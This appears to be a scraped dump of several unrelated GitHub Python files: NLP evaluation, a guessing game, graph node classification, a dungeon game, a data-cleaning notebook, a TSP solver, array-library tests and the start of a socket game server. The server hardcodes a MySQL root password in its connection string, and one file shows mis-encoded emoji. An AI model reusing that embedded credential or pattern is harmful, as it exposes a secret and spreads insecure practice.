in results]\n assert len(set(models_evaluated)) == 1, f'Expected one unique model name but found {len(set(models_evaluated))} models in {generations_files}'\n model_evaluated = models_evaluated[0].split('/')[-1]\n outfile = Path(args.output_dir) / f\"{model_evaluated}-{exp_id}.csv\"\n print(f'Writing all results to {outfile} ...')\n write_to_csv(results, outfile)\n\n elif Path(args.generations).is_file():\n print(f'====== Scoring {args.generations} ======')\n sys_outputs = read_lines(args.generations)\n source = read_json_lines(args.references_file) if args.references_file is not None else None\n \n refs_t = [[i] for i in source['target']]\n refs_k = [[i] for i in source['knowledge']]\n refs_d = [[' '.join(i)] for i in source['turns']]\n\n result = score_kgd_generation(\n sys_outputs=sys_outputs,\n targets=refs_t,\n knowledge_snippets=refs_k,\n dialogs=refs_d,\n verbose=args.verbose,\n )\n\n result['file'] = args.generations\n\n write_to_csv([result], args.outfile)\n\nif __name__ == '__main__':\n args = set_args()\n main(args)","repo_name":"ZurichNLP/understanding-ctx-aug","sub_path":"evaluation/evaluation.py","file_name":"evaluation.py","file_ext":"py","file_size_in_byte":21179,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"33619005324","text":"#This is a program what picks a random number between 1-20. The user has to guess it under six times.\n\nimport random #Import a built-in function.\n\nguessesTaken = 0 #Assign this variable to 0.\n\nprint('Hello! What is your name?') #Display a message.(Ask for the user's name.)\nmyName = input() #Ask for user input.\n\nnumber = random.randint(1, 20) #Assign a variable to a number between 1-20.\nprint('Well, ' + myName + ', I am thinking of a number between 1 and 20.') #Display a message + the user's name.\n\nwhile guessesTaken < 6: #This loop runs until the variable reaches 6.(The player reaches the 6th round of the game.)\n print('Take a guess.') #Display a message.\n guess = input() #Ask for user input.\n guess = int(guess) #User input to integer.\n\n guessesTaken += 1 #This variable adds 1 to guessTaken if the condition is True\n\n if guess < number: #If user input is lower than the number variable\n print('Your guess is too low.') #Display a message.\n\n if guess > number: #If user input higher than the number variable\n print('Your guess is too high.') #Display a message.\n\n if guess == number: #If user input equals the number variable\n break #Stop the loop.\n\nif guess == number: #If user input equals the number variable\n guessesTaken = str(guessesTaken) #guessTaken variable to string.\n print('Good job, ' + myName + '! You guessed my number in ' + guessesTaken + ' guesses!') #Display a message + the user's name + guessTaken variable.\n\nif guess != number: #If user input not equals the number variable\n number = str(number) #number variable to string.\n print('Nope. The number I was thinking of was ' + number) #Display a message + number variable.\n","repo_name":"CodecoolBP20172/pbwp-3rd-si-code-comprehension-dulovicsDusan","sub_path":"comprehension.py","file_name":"comprehension.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"1219174022","text":"import numpy as np\nfrom gensim.models import Word2Vec\nfrom node2vec import Node2Vec\nfrom sklearn.ensemble import RandomForestClassifier\nfrom sklearn.linear_model import LogisticRegression\nfrom sklearn.metrics import accuracy_score, precision_score, recall_score, f1_score\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.neighbors import KNeighborsClassifier\nfrom sklearn.svm import SVC\nfrom tqdm import tqdm\n\nfrom helper import read_graph, get_randomwalk\n\n\ndef convert_labels(labels, type):\n numbered_labels = []\n if type == 'Facebook':\n for label in labels:\n if label == 'company':\n numbered_labels.append(0)\n elif label == 'tvshow':\n numbered_labels.append(1)\n elif label == 'government':\n numbered_labels.append(2)\n else:\n numbered_labels.append(3)\n else:\n numbered_labels = [int(label) for label in labels]\n return numbered_labels\n\n\ndef print_results(x_train, x_test, y_train, y_test):\n random_forest_classifier = RandomForestClassifier(n_estimators=1000, random_state=0)\n random_forest_classifier.fit(x_train, y_train)\n y_predicted = random_forest_classifier.predict(x_test)\n print(f\"Random Forest Classifier accuracy: \", accuracy_score(y_test, y_predicted))\n print(f\"Random Forest Classifier precision: \", precision_score(y_test, y_predicted, average='macro'))\n print(f\"Random Forest Classifier recall score: \", recall_score(y_test, y_predicted, average='macro'))\n print(f\"Random Forest Classifier F1 score: \", f1_score(y_test, y_predicted, average='macro'))\n\n clf = SVC()\n clf.fit(x_train, y_train)\n y_predicted = clf.predict(x_test)\n print(f\"SVM accuracy: \", accuracy_score(y_test, y_predicted))\n print(f\"SVM precision: \", precision_score(y_test, y_predicted, average='macro'))\n print(f\"SVM recall score: \", recall_score(y_test, y_predicted, average='macro'))\n print(f\"SVM F1 score: \", f1_score(y_test, y_predicted, average='macro'))\n\n clf_knn = KNeighborsClassifier(n_neighbors=3)\n clf_knn.fit(x_train, y_train)\n y_predicted = clf_knn.predict(x_test)\n print(f\"KNN accuracy: \", accuracy_score(y_test, y_predicted))\n print(f\"KNN precision: \", precision_score(y_test, y_predicted, average='macro'))\n print(f\"KNN recall score: \", recall_score(y_test, y_predicted, average='macro'))\n print(f\"KNN F1 score: \", f1_score(y_test, y_predicted, average='macro'))\n\n lr = LogisticRegression(penalty='l2', max_iter=500, C=1, random_state=42)\n lr.fit(x_train, y_train)\n y_predicted = lr.predict(x_test)\n print(f\"Logistic Regression accuracy: \", accuracy_score(y_test, y_predicted))\n print(f\"Logistic Regression precision: \", precision_score(y_test, y_predicted, average='macro'))\n print(f\"Logistic Regression recall score: \", recall_score(y_test, y_predicted, average='macro'))\n print(f\"Logistic Regression F1 score: \", f1_score(y_test, y_predicted, average='macro'))\n\n\ndef classification_with_pretrained_vectors(graph, type):\n data, labels = [], []\n for node in graph.nodes:\n data.append(list(graph.nodes[node]['feature']))\n labels.append(graph.nodes[node]['type'])\n\n labels = convert_labels(labels, type)\n x_train, x_test, y_train, y_test = train_test_split(data, labels, test_size=0.2, random_state=36, shuffle=True)\n\n print(f\"Classification results for {type} dataset with pretrained vectors:\")\n print_results(x_train, x_test, y_train, y_test)\n\n\ndef classification_with_node2vec(graph, type):\n n2v_obj = Node2Vec(graph, dimensions=10, walk_length=5, num_walks=15, p=1, q=1, workers=1)\n n2v_model = n2v_obj.fit()\n data = [list(n2v_model.wv.get_vector(n)) for n in graph.nodes]\n data = np.array(data)\n\n labels = [graph.nodes[node]['type'] for node in graph.nodes]\n labels = convert_labels(labels, type)\n\n x_train, x_test, y_train, y_test = train_test_split(data, labels, test_size=0.2, random_state=36, shuffle=True)\n\n print(f\"Classification results for {type} dataset with Nodе2Vec vectors:\")\n print_results(x_train, x_test, y_train, y_test)\n\n\ndef classification_with_deepwalk(graph, type):\n all_nodes = list(graph.nodes())\n\n random_walks = []\n for n in tqdm(all_nodes):\n for i in range(5):\n random_walks.append(get_randomwalk(graph, n, 15))\n\n model = Word2Vec(window=4, sg=1, hs=0, negative=10, alpha=0.03, min_alpha=0.0007, seed=14)\n model.build_vocab(random_walks, progress_per=2)\n model.train(random_walks, total_examples=model.corpus_count, epochs=20, report_delay=1)\n\n vectors, labels = [], []\n for i, node in enumerate(model.wv.index2word):\n vectors.append(model.wv.vectors[i])\n labels.append(graph.nodes[node]['type'])\n labels = convert_labels(labels, type)\n\n x_train, x_test, y_train, y_test = train_test_split(vectors, labels, test_size=0.2, random_state=36, shuffle=True)\n\n print(f\"Classification results for {type} dataset with DeepWalk vectors:\")\n print_results(x_train, x_test, y_train, y_test)\n\n\nif __name__ == '__main__':\n nodes_file = \"data/facebook_large/musae_facebook_target.csv\"\n edges_file = \"data/facebook_large/musae_facebook_edges.csv\"\n features_file = 'data/facebook_large/musae_facebook_features.json'\n facebook = read_graph(nodes_file, edges_file, features_file, 'facebook')\n classification_with_pretrained_vectors(facebook, 'Facebook')\n classification_with_node2vec(facebook, 'Facebook')\n classification_with_deepwalk(facebook, 'Facebook')\n\n nodes_file = \"data/git_web_ml/musae_git_target.csv\"\n edges_file = \"data/git_web_ml/musae_git_edges.csv\"\n features_file = 'data/git_web_ml/musae_git_features.json'\n git = read_graph(nodes_file, edges_file, features_file, 'git')\n classification_with_pretrained_vectors(git, 'GitHub')\n classification_with_node2vec(git, 'GitHub')\n classification_with_deepwalk(git, 'GitHub')\n","repo_name":"angelataseva/NodeClassificationAndLinkPrediction","sub_path":"node_classification.py","file_name":"node_classification.py","file_ext":"py","file_size_in_byte":5948,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"34374537546","text":"from .room import Room\n\n\nclass MonsterRoom(Room):\n\n def __init__(self, characteristics):\n self.name = characteristics[2]\n self.life = characteristics[0]\n self.damage = characteristics[1]\n self.long_name = self.name + f\" (тЭдя╕П {characteristics[0]}, ЁЯЧбя╕Пя╕П {characteristics[1]})\"\n\n def __str__(self):\n msg = f'Life: {self.life}\\nDamage: {self.damage}\\n'\n return f'Room name: {self.name}\\n{msg}'\n\n def resolve_room(self, hands):\n # Determine played cards\n played_cards = [hand.last_card_played for hand in hands]\n\n # Determine damage\n total_damage = sum(played_cards)\n\n ret = \"\"\n # If necessary, apply damage\n if total_damage < self.life:\n ret += f\"{self.name} attacks. \"\n min_card = min(played_cards)\n players_damaged = []\n for hand in hands:\n if hand.last_card_played == min_card:\n players_damaged.append(hand.player.character)\n hand.player.add_wounds(self.damage)\n if len(players_damaged) == 1:\n ret += f\"{players_damaged[0]} \"\n elif len(players_damaged) == 2:\n ret += f\"{players_damaged[0]} and {players_damaged[1]} \"\n else:\n ret += \", \".join(players_damaged[:-2])\n ret += f\", {players_damaged[-2]} and {players_damaged[-1]} \"\n ret += f\"took {self.damage} damage.\"\n else:\n ret += f\"{self.name} was beaten. No one took damage.\"\n return ret\n","repo_name":"evbeda/games","sub_path":"dungeon_raiders/model/rooms/monster_room.py","file_name":"monster_room.py","file_ext":"py","file_size_in_byte":1572,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"8274242398","text":"#%% [markdown]\n# # 處理 outliers\n# * 新增欄位註記\n# * outliers 或 NA 填補\n# 1. 平均數 (mean)\n# 2. 中位數 (median, or Q50)\n# 3. 最大/最小值 (max/min, Q100, Q0)\n# 4. 分位數 (quantile)\n\n#%%\n# Import 需要的套件\nimport os\nimport numpy as np\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\nget_ipython().run_line_magic('matplotlib', 'inline')\n\n# 設定 data_path\ndir_data = './data/'\n\n\n#%%\nf_app = os.path.join(dir_data, 'application_train.csv')\nprint('Path of read in data: %s' % (f_app))\napp_train = pd.read_csv(f_app)\napp_train.head()\n\n\n#%%\n# 如果欄位中有 NA, describe 會有問題\napp_train['AMT_ANNUITY'].describe()\n\n\n#%%\n# Ignore NA, 計算五值\nfive_num = [0, 25, 50, 75, 100]\nquantile_5s = [np.percentile(app_train[~app_train['AMT_ANNUITY'].isnull()]['AMT_ANNUITY'], q = i) for i in five_num]\nprint(quantile_5s)\n\n\n#%%\napp_train[~app_train['AMT_ANNUITY'].isnull()]['AMT_ANNUITY'].hist(bins = 100)\nplt.show()\n\n\n#%%\n# 試著將 max 取代為 q99\napp_train[app_train['AMT_ANNUITY'] == app_train['AMT_ANNUITY'].max()] = np.percentile(app_train[~app_train['AMT_ANNUITY'].isnull()]['AMT_ANNUITY'], q = 99)\n\n\n#%%\nfive_num = [0, 25, 50, 75, 100]\nquantile_5s = [np.percentile(app_train[~app_train['AMT_ANNUITY'].isnull()]['AMT_ANNUITY'], q = i) for i in five_num]\nprint(quantile_5s)\n\n\n#%%\n# 得到 median 的另外一種方法\nnp.median(app_train[~app_train['AMT_ANNUITY'].isnull()]['AMT_ANNUITY'])\n\n\n#%%\n# 計算眾數 (mode)\nfrom scipy.stats import mode\nimport time\n\nstart_time = time.time()\nmode_get = mode(app_train[~app_train['AMT_ANNUITY'].isnull()]['AMT_ANNUITY'])\nprint(mode_get)\nprint(\"Elapsed time: %.3f secs\" % (time.time() - start_time))\n\n\n#%%\n# 計算眾數 (mode)\n# 較快速的方式\nfrom collections import defaultdict\n\nstart_time = time.time()\nmode_dict = defaultdict(lambda:0)\n\nfor value in app_train[~app_train['AMT_ANNUITY'].isnull()]['AMT_ANNUITY']:\n mode_dict[value] += 1\n \nmode_get = sorted(mode_dict.items(), key=lambda kv: kv[1], reverse=True)\nprint(mode_get[0])\nprint(\"Elapsed time: %.3f secs\" % (time.time() - start_time))\n\n#%% [markdown]\n# ## 連續值標準化\n# ### 1. Z-transform: $ \\frac{(x - mean(x))}{std(x)} $\n# ### 2. Range (0 ~ 1): $ \\frac{x - min(x)}{max(x) - min(x)} $\n# ### 3. Range (-1 ~ 1): $ (\\frac{x - min(x)}{max(x) - min(x)} - 0.5) * 2 $\n\n#%%\n# 以 AMT_CREDIT 為例\napp_train['AMT_CREDIT'].hist(bins = 50)\nplt.title(\"Original\")\nplt.show()\nvalue = app_train['AMT_CREDIT'].values\n\napp_train['AMT_CREDIT_Norm1'] = ( value - np.mean(value) ) / ( np.std(value) )\napp_train['AMT_CREDIT_Norm1'].hist(bins = 50)\nplt.title(\"Normalized with Z-transform\")\nplt.show()\n\napp_train['AMT_CREDIT_Norm2'] = ( value - min(value) ) / ( max(value) - min(value) )\napp_train['AMT_CREDIT_Norm2'].hist(bins = 50)\nplt.title(\"Normalized to 0 ~ 1\")\nplt.show()\n\n#%% [markdown]\n# # It's your turn\n# ### 1. 列出 AMT_ANNUITY 的 q0 - q100\n# ### 2.1 將 AMT_ANNUITY 中的 NAs 暫時以中位數填補\n# ### 2.2 將 AMT_ANNUITY 的數值標準化至 -1 ~ 1 間\n# ### 3. 將 AMT_GOOD_PRICE 的 NAs 以眾數填補\n# \n\n","repo_name":"acetaxxxx/2nd-ML100Days","sub_path":"py/Day_007_handle_outliers.py","file_name":"Day_007_handle_outliers.py","file_ext":"py","file_size_in_byte":3089,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"37259909563","text":"import math\nimport matplotlib.pyplot as plt\nimport numpy as np\n\n## 动态规划法\nclass DP(object):\n def __init__(self, num_city, data):#70 , 坐标矩阵\n self.num_city = num_city\n self.location = data\n self.dis_mat = self.calculate_dis_mat(num_city, data) #dis_mat说白了就是一张二维距离表\n\n # 计算不同城市之间的距离\n def calculate_dis_mat(self, num_city, location):\n dis_mat = np.zeros((num_city, num_city))\n for i in range(num_city):\n for j in range(num_city):\n if i == j:\n dis_mat[i][j] = 0 #到自己的距离设置为0\n continue\n #获取两个点的坐标\n a = location[i]\n b = location[j]\n tmp = np.sqrt(sum([(x[0] - x[1]) ** 2 for x in zip(a, b)])) #计算两点之间的距离\n dis_mat[i][j] = tmp\n # for i in dis_mat:\n # for j in i:\n # print(j , end=' ')\n # print()\n return dis_mat\n\n #计算路径长度, goback:是否计算回到起始点的路径\n def calculate_pathlen(self, path, dis_mat, goback=True):\n try:\n a = path[0] # 0\n b = path[-1] # 1\n except:\n import pdb\n pdb.set_trace()\n if goback:\n result = dis_mat[a][b] #加上最终回到a点的距离\n else:\n result = 0.0\n for i in range(len(path) - 1):\n a = path[i]\n b = path[i + 1]\n result += dis_mat[a][b] #加上邻两点之间的距离\n return result\n\n def run(self):\n tmppath = [0] #从0经过所有点且仅经过一次走到0\n tmplen = 0\n # self.location 为距离矩阵\n print(self.dis_mat)\n cnt = 1 << (self.num_city - 1)\n dp = [[float(0) for col in range(cnt)] for row in range(self.num_city)]\n dp = np.array(dp)\n #初始化dp\n for i in range(self.num_city):\n dp[i][0] = self.dis_mat[i][0]\n print(dp)\n\n #以列从左往右计算dp数组 dp[v][S]表示从v经过S中所有节点各1次到达0的最短距离,所以目标函数为dp[0][cnt-1]\n for S in range(1 , cnt):\n #遍历所有顶点v\n for v in range(self.num_city):\n dp[v][S] = np.inf\n #print(dp[v][S])\n #当S中包含v时跳过\n if ( v != 0 and ((S >> (v - 1)) & 1) == 1):\n continue\n #遍历所有顶点,若S中包含点k,则例举v到k,再经过S / k到0的距离\n for k in range(1,self.num_city):\n if (1 << (k-1)) & S == 0: continue\n #print(dp[k][S ^ (1 << (k - 1))] + self.dis_mat[v][k])\n dp[v][S] = min(dp[v][S], dp[k][S ^ (1 << (k - 1))] + self.dis_mat[v][k])\n #print('dp[v][S]: ', v , S , dp[v][S])\n tmplen=dp[0][cnt - 1]\n print('动态规划距离为: ' ,tmplen)\n\n S = cnt - 1\n v = 0\n #print(1 , end = ' ')\n while S:\n for k in range(1 , self.num_city):\n if (1 << (k-1)) & S == 0: continue\n if dp[v][S] == dp[k][S ^ (1 << (k - 1))] + self.dis_mat[v][k]:\n tmppath = tmppath[:] + [k]\n S = S ^ (1 << (k - 1))\n v = k\n break\n tmppath = tmppath[:] + [0]\n print('tmppath = ' , tmppath)\n return tmppath, self.location[tmppath], tmplen\n\n# 读取数据\ndef read_tsp(path):\n lines = open(path, 'r').readlines() #读取文件所有行直到遇到EOF,每一行一个列表项\n assert 'NODE_COORD_SECTION\\n' in lines #判断是否读取成功了\n index = lines.index('NODE_COORD_SECTION\\n') #获取‘NODE_COORD_SECTION’所在行号\n data = lines[index + 1:-1] #将冗余信息清除干净\n\n #测试是否读取、处理成功\n # for line in data: # 依次读取列表中的内容\n # line = line.strip() # 去掉每行头尾空白\n # print(line)\n\n tmp = []\n for line in data:\n line = line.strip().split(' ') #获取每一行,并且按照‘ ’进行分割\n if line[0] == 'EOF':\n continue\n tmpline = []\n for x in line:\n if x == '':\n continue\n else:\n tmpline.append(float(x)) #转换成float类型加入到tmpline列表中\n if tmpline == []:\n continue\n tmp.append(tmpline)\n data = tmp #每一项是一个三元组\n return data\n\n\ndata = read_tsp('data/ulysses16.tsp') #结果:[[1.0,64.0,96.0],[],[]...]\n#print(data)\ndata = np.array(data)#将数据转换为矩阵\n#print(data)\ndata = data[:, 1:]#去除掉第一列\n#print(data)\n\n\nmodel = DP(num_city=data.shape[0], data=data.copy())#data.shape[0]第一维的长度,即行有70\nBest_pathIndex, Best_path, Best = model.run() #Best_path为最优的路径结果,即顺序点集,Best为其长度\n#model.run()\n# print(Best_path)\n#\nprint('规划的路径长度:{}'.format(Best))\n# # 显示规划结果\nplt.rcParams['font.sans-serif']=['SimHei']#显示中文标签\nplt.rcParams['axes.unicode_minus']=False\n\nplt.scatter(Best_path[:, 0], Best_path[:, 1]) #所有点的0坐标做x,1坐标做y ,在plt中标出来\n# 使用annotate函数必备参数绘制注解\nfor index,point in zip(Best_pathIndex,Best_path):\n plt.annotate(index+1,xy=(point[0] , point[1]),color='red')\nBest_path = np.vstack([Best_path, Best_path[0]]) #将尾和初始连起来\nplt.plot(Best_path[:, 0], Best_path[:, 1]) #将所有点按顺序连起来\nplt.title('DP规划结果')\nplt.xlabel(\"点横坐标\")\nplt.ylabel(\"点纵坐标\")\nplt.show()\n\n","repo_name":"liucenyu/rengongzhinengdazuoye","sub_path":"DP.py","file_name":"DP.py","file_ext":"py","file_size_in_byte":5756,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"33865387802","text":"from test_ndarray import *\n\n###################### | ######################\n###################### MUGRADE ######################\n###################### v ######################\n\ndef Prepare(A):\n return (A.numpy().flatten()[:128], A.strides, A.shape)\n\n\ndef Rand(*shape, device=nd.cpu(), entropy=1):\n np.random.seed(np.prod(shape) * len(shape) * entropy)\n _A = np.random.randint(low=1, high=100, size=shape)\n return nd.array(_A, device=device)\n\n\ndef RandC(*shape, entropy=1):\n if nd.cuda().enabled():\n return Rand(*shape, device=nd.cuda(), entropy=2)\n else:\n raise NotImplementedError(\"You need a GPU to run these tests.\")\n\n\ndef MugradeSubmit(things):\n mugrade.submit(Prepare(things))\n\n\ndef submit_ndarray_python_ops():\n MugradeSubmit(Rand(4, 4).reshape((2, 2, 4)))\n MugradeSubmit(Rand(2, 2, 4).reshape((4, 4)))\n MugradeSubmit(Rand(1, 3, 2, 1, 2).permute((1, 3, 2, 0, 4)))\n MugradeSubmit(Rand(2, 1, 2).broadcast_to((2, 3, 2)))\n MugradeSubmit(Rand(1, 1, 2).broadcast_to((2, 2, 2)))\n MugradeSubmit(Rand(4, 4)[1, 0])\n MugradeSubmit(Rand(4, 4)[1, 0:3])\n MugradeSubmit(Rand(4, 4)[1:3, 0:3])\n MugradeSubmit(Rand(4, 4, 4)[0:2, 1:3, 2:4])\n MugradeSubmit(Rand(4, 4, 4)[0:4:2, :3, 2:])\n\n\ndef submit_ndarray_cpu_compact_setitem():\n MugradeSubmit(Rand(4, 4, 4)[0:4:2, :3, 2:].compact())\n MugradeSubmit(Rand(1, 3, 2, 1, 2).permute((1, 3, 2, 0, 4)).compact())\n MugradeSubmit(Rand(1, 1, 2).broadcast_to((2, 2, 2)).compact())\n MugradeSubmit(Rand(4, 4).reshape((2, 2, 4)).compact())\n\n A = Rand(4, 4)\n B = Rand(4, 4)\n A[1, 0:3] = B[0, 1:4]\n MugradeSubmit(A)\n\n A = Rand(4, 4)\n B = Rand(4, 4)\n A[0:3, 1] = B[1:4, 0]\n MugradeSubmit(A)\n\n A = Rand(2, 2, 2, 3)\n B = Rand(2, 2, 2, 3)\n A[0, :, 1, :2] = B[0, :, 1, :2]\n MugradeSubmit(A)\n\n A = Rand(2, 2, 2, 3)\n A[0, :, 1, :2] = 42.0\n MugradeSubmit(A)\n\n\ndef submit_ndarray_cpu_ops():\n A, B = Rand(3, 3), Rand(3, 3)\n MugradeSubmit(A * B)\n\n A, B = Rand(3, 3), Rand(3, 3)\n MugradeSubmit(A / B)\n\n A, B = Rand(3, 3), Rand(3, 3)\n MugradeSubmit(A == B)\n\n A, B = Rand(3, 3), Rand(3, 3)\n MugradeSubmit(A >= B)\n\n A, B = Rand(3, 3), Rand(3, 3)\n MugradeSubmit(A.maximum(B))\n\n A = Rand(2, 2)\n MugradeSubmit(A * 42.0)\n\n A = Rand(2, 2)\n MugradeSubmit(A ** 2.0)\n\n A = Rand(2, 2)\n MugradeSubmit(A / 42.0)\n\n A = Rand(5, 5)\n MugradeSubmit(A.maximum(25.0))\n\n A = Rand(10, 10)\n MugradeSubmit(A == 10)\n\n A = Rand(5, 5)\n MugradeSubmit(A > 50)\n\n A = Rand(2, 2)\n MugradeSubmit(A.log())\n\n A = Rand(2, 2)\n MugradeSubmit(A.tanh())\n\n A = Rand(2, 2)\n MugradeSubmit((A/100).exp())\n\n\ndef submit_ndarray_cpu_reductions():\n MugradeSubmit(Rand(4, 4).sum(axis=1))\n MugradeSubmit(Rand(4, 4, 4).sum(axis=1))\n MugradeSubmit(Rand(4).sum(axis=0))\n MugradeSubmit(Rand(2, 2, 2, 4, 2).sum(axis=3))\n MugradeSubmit(Rand(4, 4).max(axis=1))\n MugradeSubmit(Rand(4, 4, 4).max(axis=1))\n MugradeSubmit(Rand(4).max(axis=0))\n MugradeSubmit(Rand(2, 2, 2, 4, 2).max(axis=3))\n\n\ndef submit_ndarray_cpu_matmul():\n A, B = Rand(4, 4), Rand(4, 4)\n MugradeSubmit(A @ B)\n\n A, B = Rand(3, 4), Rand(4, 3)\n MugradeSubmit(A @ B)\n\n A, B = Rand(73, 72), Rand(72, 73)\n MugradeSubmit(A @ B)\n\n # tiled\n for m, n, p in [(3, 2, 1), (3, 3, 3), (3, 4, 5)]:\n device = nd.cpu()\n t = device.__tile_size__\n A = Rand(m, n, t, t)\n B = Rand(n, p, t, t)\n C = nd.NDArray.make((m, p, t, t), device=nd.cpu())\n device.matmul_tiled(A._handle, B._handle, C._handle, m*t, n*t, p*t)\n MugradeSubmit(C)\n\n\ndef submit_ndarray_cuda_compact_setitem():\n MugradeSubmit(RandC(4, 4, 4)[0:4:2, :3, 2:].compact())\n MugradeSubmit(RandC(1, 3, 2, 1, 2).permute((1, 3, 2, 0, 4)).compact())\n MugradeSubmit(RandC(1, 1, 2).broadcast_to((2, 2, 2)).compact())\n MugradeSubmit(RandC(4, 4).reshape((2, 2, 4)).compact())\n\n A = RandC(4, 4)\n B = RandC(4, 4)\n A[1, 0:3] = B[0, 1:4]\n MugradeSubmit(A)\n\n A = RandC(4, 4)\n B = RandC(4, 4)\n A[0:3, 1] = B[1:4, 0]\n MugradeSubmit(A)\n\n A = RandC(2, 2, 2, 3)\n B = RandC(2, 2, 2, 3)\n A[0, :, 1, :2] = B[0, :, 1, :2]\n MugradeSubmit(A)\n\n A = RandC(2, 2, 2, 3)\n A[0, :, 1, :2] = 42.0\n MugradeSubmit(A)\n\n\ndef submit_ndarray_cuda_ops():\n A, B = RandC(3, 3), RandC(3, 3)\n MugradeSubmit(A * B)\n\n A, B = RandC(3, 3), RandC(3, 3)\n MugradeSubmit(A / B)\n\n A, B = RandC(3, 3), RandC(3, 3)\n MugradeSubmit(A == B)\n\n A, B = RandC(3, 3), RandC(3, 3)\n MugradeSubmit(A >= B)\n\n A, B = RandC(3, 3), RandC(3, 3)\n MugradeSubmit(A.maximum(B))\n\n A = RandC(2, 2)\n MugradeSubmit(A * 42.0)\n\n A = RandC(2, 2)\n MugradeSubmit(A ** 2.0)\n\n A = RandC(2, 2)\n MugradeSubmit(A / 42.0)\n\n A = RandC(5, 5)\n MugradeSubmit(A.maximum(25.0))\n\n A = RandC(10, 10)\n MugradeSubmit(A == 10)\n\n A = RandC(5, 5)\n MugradeSubmit(A > 50)\n\n A = RandC(2, 2)\n MugradeSubmit(A.log())\n\n A = RandC(2, 2)\n MugradeSubmit(A.tanh())\n\n A = RandC(2, 2)\n MugradeSubmit((A/100).exp())\n\n\ndef submit_ndarray_cuda_reductions():\n MugradeSubmit(RandC(4, 4).sum(axis=1))\n MugradeSubmit(RandC(4, 4, 4).sum(axis=1))\n MugradeSubmit(RandC(4).sum(axis=0))\n MugradeSubmit(RandC(2, 2, 2, 4, 2).sum(axis=3))\n MugradeSubmit(RandC(4, 4).max(axis=1))\n MugradeSubmit(RandC(4, 4, 4).max(axis=1))\n MugradeSubmit(RandC(4).max(axis=0))\n MugradeSubmit(RandC(2, 2, 2, 4, 2).max(axis=3))\n\n\ndef submit_ndarray_cuda_matmul():\n A, B = RandC(4, 4), RandC(4, 4)\n MugradeSubmit(A @ B)\n\n A, B = RandC(4, 3), RandC(3, 4)\n MugradeSubmit(A @ B)\n\n A, B = RandC(3, 4), RandC(4, 3)\n MugradeSubmit(A @ B)\n\n A, B = RandC(33, 33), RandC(33, 33)\n MugradeSubmit(A @ B)\n\n A, B = RandC(73, 72), RandC(72, 71)\n MugradeSubmit(A @ B)\n\n A, B = RandC(123, 125), RandC(125, 129)\n MugradeSubmit(A @ B)\n","repo_name":"telexyz/kim","sub_path":"tests/hw3_submit.py","file_name":"hw3_submit.py","file_ext":"py","file_size_in_byte":5938,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"54"} +{"seq_id":"34483197535","text":"\"\"\"\n\nuser-agent 用户代理 本次请求使用的身份是什么 可以是 谷歌浏览器 360浏览器 xxxxx\nUser-Agent\n\n和爬虫有什么关系?\n服务器会对请求进行字段验证, 其中就包括 ua 检测到不是一个 正常的设备而是一个 第三方库 就会不返回数据 返回错误数据\n\n反反爬操作\n模拟真实用户发送请求\n在请求的时候 伪造useragent 在请求头里面发送请求\n\n如何添加\n需要在 数据包的requests.headers里面找到 关键字段 user-agent\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36\n\n添加useragent到请求头 需要以键值对形式进行请求头的添加\n\n可能会出现的问题\n1.遇到百度验证\n 原因 请求次数频繁会涉及封 ua 或者 严重点 ip\n 解决 可以参考后面的学习内容 加cookie (构建在headers里面的字段)\n2.访问百度的时候 报ssl错误\n 执行 绕过ssl验证的操作\n 在get方法里面 加 verify=False参数 绕过ssl验证\n\"\"\"\nimport requests\n# 确认url\nurl=\"https://www.baidu.com/\"\n\n# 请求信息 字典\n# 默认使用headers作为请求头变量 字典\n# 写useragent的重要操作步骤 不要犯的错误\n# 不要在useragent的前面 加空格\nheaders={\n\n \"User-Agent\":\"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36\"\n}\n# 对百度发送请求并且返回响应内容\n# 请求头 前面的关键字参数不能变化 必须是 headers\n# ,verify=False 绕过ssl验证\nresponse=requests.get(url=url,headers=headers,verify=False)\n# 返回字符类型的数据\ndata=response.content.decode()\nprint(data)\nprint(type(data))\n# 文件保存\nwith open(\"百度4.html\",\"w\",encoding=\"utf-8\")as file1:\n file1.write(data)\n\n\n\n\n\n","repo_name":"luckyleisure/Study","sub_path":"python/爬虫/3 requests库的介绍/4.useragent使用.py","file_name":"4.useragent使用.py","file_ext":"py","file_size_in_byte":1841,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"54"} +{"seq_id":"21036713244","text":"# Use a stack or a queue (or both!) to determine if a given input is a palindrome or not.\n\n\n################################################################\n\ndef palindrome(strg):\n strg = ''.join(strg.split()).lower() \n stack = [] \n for x in strg:\n stack.append(x) \n for x in strg:\n if x != stack.pop():\n return False\n return True\n","repo_name":"HanaSabih/python-FCS-assignment3","sub_path":"exercise1.py","file_name":"exercise1.py","file_ext":"py","file_size_in_byte":373,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"54"} +{"seq_id":"1120480477","text":"import math\r\nimport socket\r\nimport select\r\nimport time\r\nimport threading\r\nimport pickle\r\nfrom sqlalchemy import create_engine, Column, Integer, String, Boolean\r\nfrom sqlalchemy.orm import sessionmaker\r\nfrom sqlalchemy.ext.declarative import declarative_base\r\nfrom typing import List\r\n\r\nkey = \"\"\r\n\r\nengine = create_engine('mysql://root:Jt202004@localhost:3306/players_data', echo=False)\r\n\r\nSession = sessionmaker(bind=engine)\r\nsession = Session()\r\nBase = declarative_base()\r\n\r\n# Globals\r\nIn_game = []\r\nclient_sockets = []\r\nCoins_Results = {}\r\nTimes_Results = {}\r\nbet_on = 